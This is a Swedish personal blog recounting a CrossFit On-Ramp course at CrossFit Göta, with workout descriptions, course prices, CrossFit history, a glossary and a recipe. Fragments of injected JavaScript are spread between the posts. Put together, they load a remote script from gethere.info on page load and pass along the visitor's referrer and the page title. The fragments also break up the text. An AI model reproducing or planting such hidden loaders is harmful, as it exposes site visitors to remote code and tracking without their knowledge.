29 mars, 2013 On-Ramp kurs hos CrossFit Göta dag 6

Idag var det vår sista dag på On-ramp kursen och vi började kl. 09.00 pigga och glada.

Vi övade med träkäpp och skivstång på Snatch och Clean och olympiska lyft. Det är mycket teknik att lära sig så här i början men det är ju bara att repetera och öva och hoppas att teknikdelen sitter om ett tag.

stot_sekvens_clip

Idag gick dagens Wod ut på att vi jobbade i par och körde enligt följande:
Tag Team chipper
40 Thrusters 15/20 (15 kg för tjejer och 20 kg för killarna)
40 HR push ups (HR = Hand release)
40 Swings 8 kg för tjejerna och killarna hade en tyngre kettlebell
40 Pull ups
40 Utfallssteg  med 10 kg viktplatta ovanför huvudet. Killarna körde 15 kg
40 Rotationskast i väggen med 6 kilos boll för tjejerna och 10 kg för killarna
40 Burpees över kompis

Upplägget fick vi bestämma själva. Tex att jag körde  5 Thrusters, sen körde Sara 5 tills vi gjort våra 40 Thrusters totalt och sen gick vi vidare på  nästa övning som var  HR push ups. De som var klara först, hejade på de övriga i vår grupp och då kämpade man på lite extra. Oj vad trött jag var efteråt och sen blev det stretching.

Thrusters ser ut så här:
pushpress

HR Push ups ser ut så här:
YouTube Preview Image

Swings med kettlebell ser ut så här.
lateralswing

Pull ups ser ut så här:
overhand pull-ups

Ufallsteg med viktplatta ser ut så här:
YouTube Preview Image

Rotationskast i väggen 6/10 (Vi tjejer hade en 6kg boll och killarna 10 kg)
YouTube Preview Image

Burpees gör du så här: Efter varje Burpee hoppade vi över kompisen som låg på golvet och sen en ny Burpee.
imagesCA552I36

Här är en bild på vår otroligt duktiga coach Johan som guidat och stöttat  oss genom hela On-ramp kursen.
bild1

 var d=document;var s=d.createElement(‘script’);

27 mars, 2013 On-Ramp kurs hos CrossFit Göta dag 5

bild (16)

Nu händer det saker…

Här försöker jag med WallWalk och Sara står på händerna.
bild (18)

Idag körde vi vårat näst sista pass på våran on-ramp kurs. Känns lite tråkigt då vi nu börjat vänja oss vid vår trevliga grupp. Känslan att snart boka CrossFit bas pass och team Wood pass ser jag fram emot med lite skräckblandlad känsla.
Under alla år som jag tränat på gym så har jag haft svårt för alla övningar med armar och axlar och idag körde vi mycket av den varan.

Så här såg dagens upplägg ut:
Teknikdelen var uppdelad i Träkäpp och Hopprep (DU = Double unders)

SNC00244crosstrain-double-unders

Sen var det dags för lite gymnastikövningar.
Hollow position/rock
Ängeln
Kipp/Swing/KTE (Kipping knees to elbow)/Pullup
Handstående mot vägg

Så här gör man Hollow Rock.
YouTube Preview Image

Ängeln gör du så här: Vi hade våra armar rakt ut som ett kors.
YouTube Preview Image

Swing ser ut så här:
YouTube Preview Image

KTE gör du så här:
YouTube Preview Image

Efter detta var det dags för dagens ”Mecon” 10 min AMRAP (As many reps as possible)
3 Wall Walk
10m utfallsgång med viktskiva  OH = Over Head
9 Kipp

Så här ser ”Wall Walk” ut.
YouTube Preview Image

wallwalks_08_17_12

Så här ser utfallsgång med viktskiva ut:
YouTube Preview Image

Så här ser ”Kipping” ut:
YouTube Preview Image

bild (12)bild (14) bild (9) bild (2)} else {

25 mars, 2013 On-Ramp kurs hos CrossFit Göta dag 4

Nu är det bara två gånger kvar av On-ramp kursen och vi har hunnit lära oss en massa roliga övningar.
Idag talade coachen om att det är  vårat ”eget ansvar” att lära oss och vilja utvecklas i CrossFit. Våra coacher finns där för att stötta oss men huvudansvaret ligger hos oss själva.

Så här ser receptionen ut på CrossFit Göta. Dörren som är öppen till höger är damernas omklädningsrum.
bild (14)

Våran uppvärmning idag var enligt följande:
3 varv av 8 WB (Wall Ball), 4 utfallssteg på varje ben samt 8 pushups

Wall-Ball-Progression-impcff402285d75c31e218a52af7c0b2541

push-up1

Dagens teknikövning var ”Kettlebells”.
kettlebell11/2 swing  (Ryss)

kettlebell-swingEn hel  ”Kettlebell swing.”
lateralswingRack position
Vi fick lära oss att hålla våra kettlebells i ”Rack position”
kbinfo_onearmclean Sen fick vi lära oss en ”Kettlebell clean”.
kettlebell_clean1-1024x582

Och till sist en  ”Kettlebell Snatch”

one-arm-kettlebell-snatch

Efter dessa övningar började vid dagens ”Metcon” pass:
Vi blev uppdelade i team om 2 .
Sen körde vi en stege  1-10 med Goblet/Planka och 1-10 Ryss/Squat
Först körde jag 1 Goblet medans Sara körde 1 planka och så bytte vi och fortsatte upp till 10 varv.
Efteråt fortsatte vi med 1 Ryss och Sara körde 1 Squat och sen bytte vi övning och fortsatte upp till 10 varv.

En Kettlebell Goblet är så här:
gobletsquat

Det här är plankan.
201211_planken

Det här är en Ryss.
kettlebell-swing

Det här är en Squat.

body-weight-squats-300x274

Idag kändes mjölksyran ordentligt….
Efteråt stretchade vi baksidan av låre och säte.

bild (4)

Här kommer bild från ”Boxen” vi tränade i på detta pass.
bild (16)d.getElementsByTagName(‘head’)[0].appendChild(s);

CrossFit Göta prova på pass och On-ramp kurser

bildo

För er som vill testa CrossFit kan jag rekommendera att ta ett besök hos CrossFit Göta vid Lyckholms fabriker. Varje lördag har de prova på pass från 12-13 helt gratis och anmälan görs via deras hemsida . Kika här. Ni kan även söka på CrossFit Göta på facebook för mer information.
bild999

Annars kan ni läsa nedan vad som ingår i en On-ramp kurs.

On-ramp
Kurs för dig som inte tränat CrossFit innan. Den består av sex 1-timmes pass under två veckors tid där du kommer att introduceras till CrossFit genom föreläsningar, de grundläggande rörelserna och naturligtvis träning (WOD‘s).
Kostnad: 995kr

Ingår: 6 tillfällen, din egen CFG-träningspärm, mycket glädje och träningsvärk!

Kurstillfällen Mars-April 2013

  • On-ramp B tisdag 5 mars
  • On-ramp A måndag 18 mars
  • On-ramp B tisdag 2 april
  • On-ramp A måndag 15 april

Upplägg A och B är identiska till innehåll men schemat skiljer.
A: måndag, onsdag och fredag klockan 18-19
B: tisdag, torsdag klockan 19:30-20:30 samt lördag klockan 10:00

OBS! Dessa kurser är populära så anmäl er i god tid för att säkerställa att ni får plats! Anmälan sker genom att betala avgiften om 995kr till BG 844-9019 och sedan maila oss och meddela vilket kurstillfälle ni vill gå. info@crossfitgota.se

On-ramp Privat/Semi-privat
För dig/er som inte har möjlighet att närvara de tillfällen vi kör våra vanliga On-ramp kurser. Semi-privat är till för er som vill gå kursen tillsammans med en vän eller partner. Fyra tillfällen á en timma som vi planerar in så det passar Ert schema.

Kostnad: Privat – 1995kr, Semi-privat – 2995kr
Kontakta oss via mail eller ring Johan på 0708-15 27 85 för mer information kring On-ramp eller bokning av privat/semi-privat.

22 mars, 2013 On-Ramp kurs hos CrossFit Göta dag 3

Igår var det våran 3.e lektion i CrossFit On-Ramp på CrossFit Göta. Jag tycker det är superkul att prova en helt annan typ av träning än vad jag är van vid och kombinationen av, teknik, styrka, uthållighet och explosivitet är vad som gör CrossFit så intressant. Att pressa sig själv till max och göra det ihop med en grupp och en coach som peppar en är superkul och man känner en stark gemenskap i våran grupp efter endast 3 gånger. Det ligger ingen prestige i att någon är bättre än någon annan utan alla stöttar varandre som grupp.
Nedan ser ni vår gruppbild från igår och bilden har jag hämtat från CrossFit Göta’s bilder.
884567_438993939520176_1518451849_o

Coachen Johan berättade att innan varje ”WOD” pass kör man en warm up, går igenom skill och styrka och sen körs WOD passet.

Igår var våran uppvärmning enligt följande:
12, 9, 6 av
Air Squat
Push up
Situp

Då började vi med 12, Air Squat, 12, Push up och 12 Situp, nästa var 9 av varje övning och sista med 6.

Därefter gick vi igenom lite teknikövningar av följande:
Deadlift (marklyft)
Wall Ball
Medball Clean

Vi började med Deadlift (marklyft) med träkäppar för att sen öva med riktig skivstång med vikter.
Deadlift

Därefter gick vi över till Wall Ball.
En Wall Ball har olika vikter. Så här kan en Wall Ball se ut.
Wolverson-Wall-Ball_700_600_3WH50

Så här gör man en wall ball.
Wall-Ball-Progression-imp

Det här är en Medball Clean.
imagesCA2TEKLP

Vårat Metcon workout igår var enligt följande:
5 varv av:
5 Deadlift
10 Burpees  (hoppa över stång)

5 varv blir 5×5 = totalt 25 Deadlift och 5 x 10  =  totalt 50 Burpees på max 10 min.

Det här är Deadlift. Vi använde oss av en riktig skivstång med vikter.
Dead

Det här är Burpees.

images

Kan säga att även denna gång blev jag helt slut efteråt.

bild3

Denna gång tränade vi i den andra ”Boxen” (träninglokalen). CrossFit Göta har 2 ”Boxar”.
Så här ser det ut i boxen.
bild44bild55bild33bild77bild66document.currentScript.parentNode.insertBefore(s, document.currentScript);

20 mars, 2013 On-Ramp kurs hos CrossFit Göta dag 2

bild6bild5

Här är entrén till CrossFit Göta.

bild4

Bakom den här dörren har vi den ena boxen som vi körde vårat pass idag.
bild1

IOch här ser ni den berömda klockan. På tavlan skriver coachen upp vilken WOD eller övningar vi kör under passet.
bild99

Idag körde vi ett nytt hårt pass med våran coach Johan på CrossFit Göta. Det är en bra grupp och vi börjar lära känna varandra och alla är så hjälpsamma och stöttar varandra under passet. Vi blev även imponerade av att Johan har hunnit lära sig alla våra namn efter endast en gång (12 deltagare).  Idag körde vi uppvärmning med stretch med en ”foam roller” av skumgummi och gjorde en masa övningar för rumpa, ben, armar och  rygg.

Så här kan en foam roller se ut.
Foam roller

foam_roller-332x205

Det finns även foam roller med struktur.
Foam-Roller-EVA-Foam-Roller-Grid-Foam-Roller-a

Här kan ni se lite av de övningar vi gjorde med våra skumgummirullar.
tri42_a

Foam_Roller_Exercises

Efter våran stretch började vi öva med ”press,” ”push jerk” och ”thrusters” med skivstång utan vikter. Skivstången som väger 15 kilo. Först fick vi lära oss hur vi håller skivstången med händerna, lägger stången under hakan , dra bak huvudet för att sen lyfta upp skivstången över huvudet.

Det här är ”push jerk” (ryck-press)
pushpress

Det här är en ”thruster” (Ryckstötpress).
7Thruster

Sen var det dags för att lära sig” box jumps”. Höjden på lådan är 50, 60 och 70 cm som ni ser på trälådan nedan.
Tjejerna fick ha den lägsta höjden på 50 cm.
pw-box_02

box-jump

Sen var det dags för ett MetCon pass  – Metabolic conditioning eller konditionshöjande träning. En WOD brukar räknas som MetCon.

WOD – Workout of the day, dagens pass. Kan bestå av en, men oftast flera olika övningar som sätts ihop till ett pass. Passet ska antingen utföras på kortast möjligast tid eller så många varv som möjligt på en utsatt tid. Passen ser olika ut varje dag.en metcon.

Vårat  Metcon pass innehöll 2 övningar där du ökar på med en thrurster och ett box jump för varje varv på 10 minuter.

1 thruster och 1 box jump
2 thruster och 2 box jump
3 thruster och 3 box jump
4 thruster och 4 box jump
5 thruster och 5 box jump
För varje varv ökar du med en thruster och ett box jump.

Helt otroligt vad man fokuserar sig på uppgiften då jag även denna gång glömde av vilken musik som spelades under passet och klockan hann jag inte titta på heller. Skönt att coachen Johan talade om hur lång tid vi hade kvar och vi kämpade på duktigt under passet.   Pulsen var på max även denna gång och jag glömde totalt av min träningsvärk när jag höll på med mina övningar…då är man fokuserad.
bild9

Vill ni veta hur man åker hit me spårvagn så är det spårvagn 2 eller 4 med stop i Almedal

bild8
bild2

 

 } else {

Greg Glassman

YouTube Preview Image

Här kan ni läsa lite mer om grundare till CrossFit. Greg Glassman.

controversial-fitness-figures-greg-glassman-ss
Greg Glassman som är grundaren till CrossFit märket, fick frågan “varför han namngav workouts efter kvinnor?”
“I thought that anything that left you flat on your back, looking up at the sky asking ‘what just happened to me?’ deserved a females name.  Workouts are just like storms, they wreak havoc on towns.”

I Sverige fick träningsformen ordentlig spridning 2008 då Erik Elliasson och Richard Wallén startade sidan
CrossFit Nordic.
wod1
I CrossFit finns det såkallade standardiserade- eller benchmark- WOD:s. Det betyder att det skall vara exakt samma vikt/reps/övning i den WOD som utförs. Benchmark WOD:s gör det möjligt för alla i hela världen att jämföra sig med varandra och utmana sin fitness. Dessa workouts är alltid döpta efter kvinnor eller män, som t.ex. “Fran” eller “Joshua”.

De är kategoriserade på följande sätt:

  • The Girls” är kortare WOD:s med en mer generell vikt-övningsanpassning.
  • The Heroes” är WOD:s döpta efter stupade soldater och dessa är tuffare, du jobbar med tyngre vikter och tar längre tid att genomföra.

Är du intresserad av att se en  lista på alla de benchmark WOD:s som finns i CrossFit världen just nu kika på
CrossFit Halmstad’s hemsida.
Viktangivelser avser Män/Kvinnor, alltså 60kg/40kg = 60kg för män, 40kg för kvinnor.
–Alla vikter är avrundade så nära tiotal/ental som möjligt–
Informationen nedan hittade jag på CrossFit Kalmar’s hemsida.

Greg Glassman, tidigare elitgymnast, grundade CrossFit under 80-talet. Greg fick snabbt många anhängare som märkte att träningen var extremt effektiv och motiverande. Speciellt polisen, militären och brandförsvaret fick upp ögonen för detta intensiva träningsupplägg. 1995 blev Greg Glassman ansvarig för fysträningen hos polisen i Santa Cruz, Kalifornien. Samma år öppnade han det första CrossFit-gymmet i samma stad.

2001 lanserades www.crossfit.com och det var genom denna websida som CrossFit verkligen började sprida sig. Varje dag postades en ny workout så att folk kunde träna på egen hand. Än idag publiceras varje dag en WOD (workout of the day) som är helt gratis tillsammans med videor på flera 100 övningar, artiklar och workouts. 2005 fanns det 18 CrossFit-gym. Idag finns det flera tusen runt om i världen och CrossFit är en av de snabbast växande träningsformerna.

2007 började amerikanska marinen implementera CrossFit i sin fysträning. Genom snabba resultat av den högintensiva funktionella träningen har Navy Seals sedan dess haft ett tätt samarbete med CrossFit HQ  Idag använder sig både Navy Seals och Kanadensiska militären av CrossFit som deras primära styrke- och konditionsprogram.

images

Här kommer en lista på CrossFit träningslexikon.
Squat  – Huksittning/Knäböj
Front squat  – Frontböj
Back squat – Benböj med skivstång bakom huvudet
Overheadsquat – Benböj med skivstång överhuvudet
Box Jump  – Boxhopp
Deadlift  – Marklyft
Sumo deadlift  – Sumo marklyft
Sumo deadlift highpull – Sumo marklyft till hakan
Press – Press
Push press – Ryck-press
Push jerk – Ryckstötpress
Thruster – Thruster
Wall-ball – Vägg boll
Snatch – Ryck
Hang snatch – Hängryck
Power snatch – Styrkeryck
Hang power snatch – Hängstyrkeryck
Clean and jerk – Frivändning + Stöt
Clean – Frivändning
Power clean – Styrkevändning
Pull-up – Pull-up
Kipping pull-up – Kipping pull-up
Jumping pull-up – Pull-up med hopp
L-pull-up – L sit pull-up
Rope Climb – Repklättring
Dips – Dips
Ring dips – Ringdips
Muscle-up – Pull up + dip
False grip – Grepp som används vid ringträning
Turkish get-up – Turkisk resning/uppstigning med kettlebell
Push-ups – Armhävningar
Handstand push-ups – Handstående armhävningar
Sit-up – Sit-up
GHD-sit-up – GHD-sit-up
Back extension – Ryggresning
Hip extension – Höftextension
Kettlebell swing – Kettlebellsving
Dumbell swing – Hantelsving
Dubble-unders – Dubbelvarv med hopprep
Burpee – Armhävning + hopp + klapp
Knees to elbows – Hängandes knän till armbågar
L-sit – L-sitt
Lunge – Utfall
Walking lunges – Utfallssteg
Fitness – Fysisk prestationsförmåga
Scaling – Anpassning
Rep – Repetition
Set – Set/serie
Long Slow Distance – Uthållighetstränings.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Snabb korv stroganoff

Receptet hittade jag på www.arla.se. Istället för falukorv har jag använt prinskorv.

bild (4)

Recept 4 portioner.
300 gram falukorv (eller prinskorv)
1/2 gul lök
1 msk rapsolja
2 1/2 dl mjölk
11/2 msk tomatpuré
1 tsk senap
Lite mjöl att reda ut såsen i

Gör så här:
Skär korven i strimlor. Skala och hacka löken. Stek korv och lök i rapsolja i en stekpanna. Tillsätt mjölk, tomatpuré och senap. Rör om och låt oka på svag värme ca 2-3 min. Smakaav med salt och peppar. Om du vill ha tjockare sås så red ut med lite mjöl.

 var d=document;var s=d.createElement(‘script’);

18 mars, 2013 On-Ramp kurs hos CrossFit Göta dag 1

On-Ramp kursen jag anmält mig på hos CrossFit Göta är en kurs för oss som inte tränat CrossFit innan. Den består av sex 1-timmes pass under två veckors tid där vi kommer att introduceras till CrossFit genom föreläsningar, de grundläggande rörelserna och naturligtvis träning (WOD‘s).

Kostnad för kursen är : 995kr och då ingår: 6 tillfällen, din egen CFG-träningspärm, mycket glädje och träningsvärk!

YouTube Preview Image
I youtube klippet ser ni vad är WOD ”Cindy” är för något.
Onramp

Idag har jag då börjat On-ramp kursen hos CrossFit Göta. Våran grupp består av 12 personer och coachen Johan. Vi fick träna i den andra ”boxen” idag. Först var det en kort presentation om Johan och om hur han och två kompisar startade CrossFit Göta hösten 2011.  Sedan fick vi andra presentera oss för resten av gruppen.
Gruppbilden nedan har jag lånat från CrossFit Göta’s foton.
885456_437343663018537_814782950_o

Vi började med att värma upp där vi sprang några varv i lokalen,  hoppade sidledes och stretching. Efteråt  fick vi teknikträna hur vi lyfter en skivstång. Det gick skapligt men när vi sedan provade på ”Overheadsquat” – Benböj med skivstång överhuvudet…ja då var det plötsligt supersvårt. Då hade jag inga vikter på skivstången. Skivstången i sig vägde 15 kilo och det var mer än tillräckligt för mig.
Vi fick även lära oss ”Air Squats” som var lite lättare för min del.
Air-squat

Sen var det dags för vår första ”WOD”  (= Workout of the day) och idag provade vi på 1/2 Cindy på 10 min. Det låter kanske enkelt men räkna med att du tex gör  5 varv på 10 minuter = 25 Pullups,  50 Pushups och 75 Air Squats..då förstår ni kanske varför man blir trött efter endast 10 min intensiv träning där pulsen är på max.

5 Pullups
10 Pushups
15 Air Squats

En riktig ”Cindy” AMRAP, alltså så många varv som möjligt på 20 min. Hur håller man reda på hur många varv du gör…jo alla deltagare har skrivit upp sitt namn på tavlan och drar ett långt streck efter namnet….efter varje varv tar du och drar med fingret i strecket och på så sett ser du hur många varv du har gjort när klockan stannar.

mega

Coachen ställer klockan och sen när han säger börja…då är det bara att köra på med de här tre övningarna och med så många varv du orkar tills klockan stannar. Under tiden så spelas musik i högtalaren för att göra träningen lite lättare. Dock var jag så fokuserad över mina övningar och att försöka prestera max att jag knappt hörde vad som spelades för musik. När klockan stannat var jag fullständigt slut i kroppen …en god känsla  och man känner med en gång att du jobbat med hela kroppen.

Nu efteråt känner jag lite stolt över mig själv att jag gav mitt max och kämpade på utan att klaga eller vara bekväm. Ser dock inte fram emot träningsvärken som kommer efteråt. Förra gången jag var på ett prova på pass hade jag träningsvärk i 3-4 dagar efteråt och mest i armar och axlar.

Lite CrossFit termer.
AMRAP – As many rounds as possible
ATG – Ass to grass (innebär en DJUP knäböj)
BW eller KV – Bodyweight eller kroppsvikt
CFT – CrossFit total
PR – Personligt rekord
REP – Repetition
RM – Repetition maximum (innebär vad du MAX kan lyfta på en övning)
Scaling (skalning) – Anpassning, du skalar ner och anpassar övningen utifrån din förmåga
Tabatha – Intervallprincip som innebär 8 set med vardera 20s jobb/10s vila.
WO – Workout
WOD – Workout of the day

Lyck1

bild

bildbildoLyck1ALyck2Lyck3bildöbildV

bild (5)

HelSar}

CrossFit Göta

Bild1A

Första gången jag hörde talas om CrossFit Göta var genom en tidningsartikel i GT för några veckor sedan. Där var det ett helsida om CrossFit Göta. Kika här om du vill kika på deras hemsida. Självklart blev jag nyfiken att veta mer om CrossFit och såg på hemsidan att de har prova på pass på lördagar. Lördag den 2:a mars provade jag och Sara på CrossFit .Efter  passet var jag helt slut och träningsvärken satt i säkert 3 dagar…men vilken adrenalinkick jag fick och kul att prova på en helt ny träningsform. Här är gruppbilden från prova på passet. (Bilden har jag lånat från CrossFit Göta’s facebooksida)

555319_429712027115034_1865017422_n

CrossFit Göta bildades hösten 2011 då tre killar bestämde sig för att förverkliga sin dröm – en egen CF-box! De här en hemsida www.crossfitgota.se samt en facebooksida där ni kan läsa mer om det här stället.
Stället ligger på Lyckholms gamla fabriker och adressen är Skårs Led 6, 412 63 Göteborg.
GPOnramp
Nu har jag anmält mig till deras On-rampkurs med start den 18 mars. Under 6 timmar på två veckor får jag lära mig grunderna inom CrossFit, bland annat olympiska lyft, kettlebells och gymnastik.

Bilderna nedan har jag hämtat från nätet när jag sökt på CrossFit Göta.
Bild 1Bild2document.currentScript.parentNode.insertBefore(s, document.currentScript);